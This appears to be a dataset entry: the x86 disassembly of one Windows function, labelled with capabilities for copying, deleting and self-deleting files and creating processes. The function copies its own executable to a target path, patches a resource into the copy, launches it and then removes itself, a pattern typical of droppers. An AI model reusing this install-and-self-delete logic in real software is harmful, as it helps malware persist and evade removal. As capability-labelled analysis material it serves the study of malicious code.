Function at 0x402da0
Capabilities:
Copy file
Create process on windows
Delete file
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x378
push ebx
push esi
push edi
push 0x401590
push 0
call fcn.00401c00
add esp, 8
lea eax, [ebp - 0x20c]
push eax
call fcn.004018f0
add esp, 4
lea edi, [ebp - 0x20c]
lea edx, [ebp - 0x104]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x401208
lea edx, [ebp - 0x104]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x104
lea eax, [ebp - 0x314]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x314]
push ecx
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402e97
push 0
call fcn.00402b00
add esp, 4
test eax, eax
je 0x402e81
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call fcn.00401a80
add esp, 4
push 0x401564
push 4
call fcn.00401c00
add esp, 8
jmp 0x402e97
push 0x401550
push 4
call fcn.00401c00
add esp, 8
xor eax, eax
jmp 0x403128
push 0x401538
push 0
call fcn.00401c00
add esp, 8
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 0x108]
push ecx
call fcn.00401940
add esp, 8
test eax, eax
je 0x402f39
cmp dword [ebp - 0x108], 0x14
jae 0x402f39
push 0x401520
push 0
call fcn.00401c00
add esp, 8
mov edx, dword [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
test eax, eax
je 0x402f39
mov eax, dword [ebp - 0x210]
push eax
call fcn.00401a80
add esp, 4
test eax, eax
jne 0x402f12
push 0x401504
push 4
call fcn.00401c00
add esp, 8
xor eax, eax
jmp 0x403128
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x402f39
push 0x4014f0
push 4
call fcn.00401c00
add esp, 8
xor eax, eax
jmp 0x403128
push 0x4014bc
push 0
call fcn.00401c00
add esp, 8
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x402f70
lea eax, [ebp - 0x104]
push eax
call fcn.00401bc0
add esp, 4
test eax, eax
jne 0x40310a
push 0
lea ecx, [ebp - 0x104]
push ecx
lea edx, [ebp - 0x314]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4030f7
push 0x4014b0
push 0
call fcn.00401c00
add esp, 8
lea eax, [ebp - 0x314]
push eax
push 0
call fcn.00401c00
add esp, 8
mov dword [ebp - 0x378], 0
lea ecx, [ebp - 0x378]
push ecx
lea edx, [ebp - 0x104]
push edx
call fcn.00402580
add esp, 8
mov dword [ebp - 0x374], eax
push 1
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 0
jne 0x403008
push 0x401498
push 4
call fcn.00401c00
add esp, 8
xor eax, eax
jmp 0x403128
mov ecx, dword [ebp - 0x374]
push ecx
mov edx, dword [ebp - 0x378]
push edx
push 0x400
push 0x4015b0
push 0xa
mov eax, dword [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
test eax, eax
jne 0x403049
push 0x401484
push 4
call fcn.00401c00
add esp, 8
xor eax, eax
jmp 0x403128
push 0
mov ecx, dword [ebp - 0x328]
push ecx
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
test eax, eax
jne 0x403072
push 0x401470
push 4
call fcn.00401c00
add esp, 8
xor eax, eax
jmp 0x403128
xor edx, edx
mov dword [ebp - 0x324], edx
mov dword [ebp - 0x320], edx
mov dword [ebp - 0x31c], edx
mov dword [ebp - 0x318], edx
mov ecx, 0x11
xor eax, eax
lea edi, [ebp - 0x370]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x370], 0x44
lea eax, [ebp - 0x324]
push eax
lea ecx, [ebp - 0x370]
push ecx
lea edx, [ebp - 0x20c]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0
jne 0x4030f5
push 0x4012c4
push 4
call fcn.00401c00
add esp, 8
xor eax, eax
jmp 0x403128
jmp 0x40310a
push 0x401448
push 4
call fcn.00401c00
add esp, 8
xor eax, eax
jmp 0x403128
push 0x40142c
push 0
call fcn.00401c00
add esp, 8
lea ecx, [ebp - 0x314]
push ecx
call fcn.00402660
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret